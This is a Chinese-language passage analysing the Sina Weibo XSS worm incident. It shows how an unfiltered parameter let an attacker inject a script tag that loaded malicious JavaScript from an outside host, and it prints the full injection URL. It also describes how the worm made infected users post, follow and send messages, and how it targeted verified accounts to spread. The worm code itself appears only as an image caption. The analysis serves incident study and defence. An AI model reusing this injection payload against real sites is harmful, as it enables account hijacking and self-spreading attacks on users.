通过以上对SNS网站面临的主要问题的了解可以发现，一旦SNS网站存在安全漏洞，那么恶意黑客攻击者通过安全漏洞可以做的事情是相当丰富的，诸如窃取账号密码信息、传播恶意代码、盗取用户隐私等，那么真实的此类攻击事件又是如何发生和进行的呢？下面我们结合新浪微博的XSS蠕虫攻击事件，对黑客恶意利用漏洞至XSS蠕虫大范围扩散的过程进行详细分析和描述，并对该XSS蠕虫的恶意脚本文件进行一下简要的分析。

        首先，黑客通过对新浪微博的分析测试发现新浪名人堂部分由于代码过滤不严，导致XSS漏洞的存在，并可以通过构造脚本的方式植入恶意代码。通过分析发现，在新浪名人堂部分中，当提交http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update时，新浪会对该字符串进行处理，变成类似http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update，而由于应用程序没有对参数g做充足的过滤，且将参数值直接显示在页面中，相当于 weibo.com 在页面中嵌入了一个来自于 2kt.cn的JS脚本。该JS脚本是黑客可以控制的文件，使得黑客可以构造任意JS脚本嵌入到weibo.com的页面中，且通过Ajax技术完全实现异步提交数据的功能，进而黑客通过构造特定的JS代码实现了受此XSS蠕虫攻击的客户自动发微博、添加关注和发私信等操作。

        然后，黑客为了使该XSS蠕虫代码可以大范围的感染传播，会通过发私信或发微博的方式诱惑用户去点击存在跨站代码的链接，尤其是针对V标认证的用户，因为此类用户拥有大量的关注者，所以如果此类用户中毒，必然可以实现蠕虫的大范围、快速的传播。

图7：大量用户中毒后发送的含毒微博信息

        最后，当大量的加V认证账户和其他普通用户中毒后，这些用户就会通过发微博和发私信的方式将该XSS蠕虫向其他用户进行传播，进而导致了该XSS蠕虫的大范围、快速的传播与感染。

图8：含毒微博信息的主要内容和XSS蠕虫链接

        新浪微博攻击事件发生之后，我们第一时间发现了2tk.cn网站上面的恶意脚本，文件名为t.js，链接地址为 www.2kt.cn/images/t.js，经过提取保存，脚本代码如下：

图9：新浪微博XSS蠕虫病毒代码